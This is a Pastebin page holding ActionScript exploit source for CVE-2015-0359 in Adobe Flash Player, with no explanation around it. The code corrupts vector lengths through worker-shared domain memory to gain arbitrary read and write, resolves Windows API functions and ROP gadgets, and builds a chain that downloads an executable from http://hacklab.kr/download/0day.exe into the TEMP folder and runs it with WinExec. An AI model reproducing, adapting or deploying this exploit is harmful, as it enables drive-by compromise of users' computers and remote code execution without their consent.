Guest User

cve-2015-0359.as

a guest
May 2nd, 2015
2,590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package
  2. {
  3.     import flash.display.Sprite
  4.     import flash.events.Event
  5.     import flash.utils.ByteArray
  6.     import flash.system.Worker
  7.     import flash.system.WorkerDomain
  8.     import flash.system.MessageChannel
  9.     import flash.system.ApplicationDomain
  10.     import avm2.intrinsics.memory.casi32
  11.  
  12.     public class Main extends Sprite
  13.     {
  14.         private var ov:Vector.<Object> = new Vector.<Object>(25600)
  15.         private var uv:Vector.<uint> = new Vector.<uint>
  16.         private var ba:ByteArray = new ByteArray()
  17.         private var worker:Worker
  18.         private var mc:MessageChannel
  19.  
  20.         public function Main()
  21.         {
  22.             if (Worker.current.isPrimordial) mainThread()
  23.             else workerThread()
  24.         }
  25.  
  26.         private function mainThread():void
  27.         {
  28.             ba.length = 0x1000
  29.             ba.shareable = true
  30.             for (var i:uint = 0; i < ov.length; i++) {
  31.                 ov[i] = new Vector.<Object>(1014)
  32.                 ov[i][0] = ba
  33.                 ov[i][1] = this
  34.             }
  35.             for (i = 0; i < ov.length; i += 2) delete(ov[i])
  36.             worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
  37.             mc = worker.createMessageChannel(Worker.current)
  38.             mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
  39.             worker.setSharedProperty("mc", mc)
  40.             worker.setSharedProperty("ba", ba)
  41.             ApplicationDomain.currentDomain.domainMemory = ba
  42.             worker.start()
  43.         }
  44.  
  45.         private function workerThread():void
  46.         {
  47.             var ba:ByteArray = Worker.current.getSharedProperty("ba")
  48.             var mc:MessageChannel = Worker.current.getSharedProperty("mc")
  49.             var tmp:ByteArray = new ByteArray()
  50.             tmp.length = 0x2000
  51.             ba.writeBytes(tmp)
  52.             ov[0] = new Vector.<uint>(1022)
  53.             mc.send("")
  54.             while (mc.messageAvailable);
  55.             ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
  56.             ba.length = 0x500000
  57.             var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
  58.             var main:uint = ov[0][0x409] - 1
  59.             var vtable:uint = vector_read(main)
  60.             vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
  61.             vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
  62.             mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
  63.         }
  64.  
  65.         private function onMessage(e:Event):void
  66.         {
  67.             casi32(0, 1022, 0xFFFFFFFF)
  68.             if (ba.length != 0xffffffff) mc.receive()
  69.             else {
  70.                 ba.endian = "littleEndian"
  71.                 var data:Array = (mc.receive() as String).split("/")
  72.                 byte_write(parseInt(data[0]))
  73.                 var buffer:uint = parseInt(data[1]) as uint
  74.                 var main:uint = parseInt(data[2]) as uint
  75.                 var vtable:uint = parseInt(data[3]) as uint
  76.                 var flash:uint = base(vtable)
  77.                 var kernel32:uint = module("kernel32.dll", flash)
  78.                 var ntdll:uint = module("ntdll.dll", kernel32)
  79.                 var urlmon:uint = module("urlmon.dll", flash)
  80.                 var virtualprotect:uint = procedure("VirtualProtect", kernel32)
  81.                 var winexec:uint = procedure("WinExec", kernel32)
  82.                 var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
  83.                 var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
  84.                 var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
  85.                 var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
  86.                 var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
  87.                
  88.                 byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
  89.                 byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
  90.                 byte_write(0, "\x89\x03", false) // mov [ebx], eax
  91.                 byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
  92.  
  93.                 byte_write(buffer + 0x100, "http://hacklab.kr/download/0day.exe")
  94.                 byte_write(buffer + 0x200, "0day.exe")
  95.                 byte_write(buffer + 0x300, "TEMP")
  96.                 byte_write(buffer + 0x20070, xchgeaxespret)
  97.                 byte_write(buffer + 0x20000, xchgeaxesiret)
  98.                 byte_write(0, virtualprotect)
  99.  
  100.                 // VirtualProtect
  101.                 byte_write(0, getenvironmentvariable)
  102.                 byte_write(0, buffer + 0x30000)
  103.                 byte_write(0, 0x1000)
  104.                 byte_write(0, 0x40)
  105.                 byte_write(0, buffer + 0x400)
  106.  
  107.                 // GetEnvironmentVariable
  108.                 byte_write(0, setcurrentdirectory)
  109.                 byte_write(0, buffer + 0x300)
  110.                 byte_write(0, buffer + 0x400)
  111.                 byte_write(0, 100)
  112.  
  113.                 // SetCurrentDirectory
  114.                 byte_write(0, urldownloadtofile)
  115.                 byte_write(0, buffer + 0x400)
  116.  
  117.                 // URLDownloadToFile
  118.                 byte_write(0, winexec)
  119.                 byte_write(0)
  120.                 byte_write(0, buffer + 0x100)
  121.                 byte_write(0, buffer + 0x200)
  122.                 byte_write(0)
  123.                 byte_write(0)
  124.  
  125.                 // WinExec
  126.                 byte_write(0, buffer + 0x30000)
  127.                 byte_write(0, buffer + 0x200)
  128.                 byte_write(0)
  129.  
  130.                 byte_write(main, buffer + 0x20000)
  131.                 toString()
  132.             }
  133.         }
  134.        
  135.         private function vector_write(addr:uint, value:uint = 0):void
  136.         {
  137.             addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
  138.         }
  139.  
  140.         private function vector_read(addr:uint):uint
  141.         {
  142.             return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
  143.         }
  144.        
  145.         private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
  146.         {
  147.             if (addr) ba.position = addr
  148.             if (value is String) {
  149.                 for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
  150.                 if (zero) ba.writeByte(0)
  151.             } else ba.writeUnsignedInt(value)
  152.         }
  153.  
  154.         private function byte_read(addr:uint, type:String = "dword"):uint
  155.         {
  156.             ba.position = addr
  157.             switch(type) {
  158.                 case "dword":
  159.                     return ba.readUnsignedInt()
  160.                 case "word":
  161.                     return ba.readUnsignedShort()
  162.                 case "byte":
  163.                     return ba.readUnsignedByte()
  164.             }
  165.             return 0
  166.         }
  167.  
  168.         private function base(addr:uint):uint
  169.         {
  170.             addr &= 0xffff0000
  171.             while (true) {
  172.                 if (byte_read(addr) == 0x00905a4d) return addr
  173.                 addr -= 0x10000
  174.             }
  175.             return 0
  176.         }
  177.  
  178.         private function module(name:String, addr:uint):uint
  179.         {
  180.             var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
  181.             while (true) {
  182.                 var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
  183.                 if (!entry) throw new Error("FAIL!");
  184.                 ba.position = addr + entry
  185.                 if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
  186.             }
  187.             return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
  188.         }
  189.  
  190.         private function procedure(name:String, addr:uint):uint
  191.         {
  192.             var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
  193.             var numberOfNames:uint = byte_read(eat + 0x18)
  194.             var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
  195.             var addressOfNames:uint = addr + byte_read(eat + 0x20)
  196.             var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
  197.             for (var i:uint = 0; ; i++) {
  198.                 var entry:uint = byte_read(addressOfNames + i * 4)
  199.                 ba.position = addr + entry
  200.                 if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
  201.             }
  202.             return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
  203.         }
  204.  
  205.         private function gadget(gadget:String, hint:uint, addr:uint):uint
  206.         {
  207.             var find:uint = 0
  208.             var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
  209.             var value:uint = parseInt(gadget, 16)
  210.             for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
  211.             return addr + i
  212.         }
  213.     }
  214. }
Advertisement
Add Comment
Please, Sign In to add comment